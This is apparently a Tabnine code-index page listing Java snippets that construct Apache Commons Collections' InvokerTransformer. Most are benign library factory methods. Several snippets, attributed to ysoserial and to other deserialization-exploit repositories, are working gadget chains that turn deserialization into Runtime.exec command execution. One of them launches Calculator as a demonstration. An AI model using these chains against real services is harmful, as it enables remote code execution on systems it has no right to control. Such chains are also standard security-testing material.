Tabnine Logo
InvokerTransformer.<init>
Code IndexAdd Tabnine to your IDE (free)

How to use
org.apache.commons.collections.functors.InvokerTransformer
constructor

Best Java code snippets using org.apache.commons.collections.functors.InvokerTransformer.<init> (Showing top 20 results out of 315)

origin: commons-collections/commons-collections

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: wildfly/wildfly

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: commons-collections/commons-collections

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: commons-collections/commons-collections

public Object makeObject() {
  return new InvokerTransformer("toString", new Class[0], new Object[0]);
}
origin: wildfly/wildfly

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: frohoff/ysoserial

new InvokerTransformer("getMethod", new Class[] {
    String.class, Class[].class }, new Object[] {
    "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
    Object.class, Object[].class }, new Object[] {
    null, new Object[0] }),
new InvokerTransformer("exec",
    new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
origin: frohoff/ysoserial

public BadAttributeValueExpException getObject(final String command) throws Exception {
  final String[] execArgs = new String[] { command };
  // inert chain for setup
  final Transformer transformerChain = new ChainedTransformer(
      new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
      new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
      new ConstantTransformer(1) };
  final Map innerMap = new HashMap();
  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
  BadAttributeValueExpException val = new BadAttributeValueExpException(null);
  Field valfield = val.getClass().getDeclaredField("val");
  valfield.setAccessible(true);
  valfield.set(val, entry);
  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  return val;
}
origin: frohoff/ysoserial

public InvocationHandler getObject(final String command) throws Exception {
  final String[] execArgs = new String[] { command };
  // inert chain for setup
  final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
      new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
      new ConstantTransformer(1) };
  final Map innerMap = new HashMap();
  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
  final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  return handler;
}
origin: org.apache.openjpa/openjpa-all

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: org.apache.servicemix.bundles/org.apache.servicemix.bundles.commons-collections

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: org.apache.directory.api/api-ldap-client-all

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: org.jboss.eap/wildfly-client-all

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: com.alibaba.citrus.tool/antx-autoexpand

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: org.apache.directory.api/api-ldap-client-all

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: com.alibaba.citrus.tool/antx-autoexpand

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: org.apache.servicemix.bundles/org.apache.servicemix.bundles.commons-collections

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: org.apache.openjpa/openjpa-all

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: org.jboss.eap/wildfly-client-all

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: lightless233/Java-Unserialization-Study

    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}),
    new ConstantTransformer("1")
};
origin: njfox/Java-Deserialization-Exploit

public InvocationHandler getObject(final String command) throws Exception {
  final String[] execArgs = new String[] { command };
  // inert chain for setup
  final Transformer transformerChain = new ChainedTransformer(
      new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] {
          String.class, Class[].class }, new Object[] {
          "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke", new Class[] {
          Object.class, Object[].class }, new Object[] {
          null, new Object[0] }),
      new InvokerTransformer("exec",
          new Class[] { String.class }, execArgs),
      new ConstantTransformer(1) };
  final Map innerMap = new HashMap();
  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
  final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  return handler;
}
org.apache.commons.collections.functorsInvokerTransformer<init>

Javadoc

Constructor for no arg instance.

Popular methods of InvokerTransformer

  • getInstance
    Gets an instance of this transformer calling a specific method with specific values.

Popular in Java

  • Making http post requests using okhttp
  • onCreateOptionsMenu (Activity)
  • getSystemService (Context)
  • putExtra (Intent)
  • FileReader (java.io)
    A specialized Reader that reads from a file in the file system. All read requests made by calling me
  • InputStreamReader (java.io)
    A class for turning a byte stream into a character stream. Data read from the source input stream is
  • RandomAccessFile (java.io)
    Allows reading from and writing to a file in a random-access manner. This is different from the uni-
  • Comparator (java.util)
    A Comparator is used to compare two objects to determine their ordering with respect to each other.
  • Timer (java.util)
    Timers schedule one-shot or recurring TimerTask for execution. Prefer java.util.concurrent.Scheduled
  • ConcurrentHashMap (java.util.concurrent)
    A plug-in replacement for JDK1.5 java.util.concurrent.ConcurrentHashMap. This version is based on or
  • Top plugins for WebStorm
Tabnine Logo
  • Products

    Search for Java codeSearch for JavaScript code
  • IDE Plugins

    IntelliJ IDEAWebStormVisual StudioAndroid StudioEclipseVisual Studio CodePyCharmSublime TextPhpStormVimGoLandRubyMineEmacsJupyter NotebookJupyter LabRiderDataGripAppCode
  • Company

    About UsContact UsCareers
  • Resources

    FAQBlogTabnine AcademyTerms of usePrivacy policyJava Code IndexJavascript Code Index
Get Tabnine for your IDE now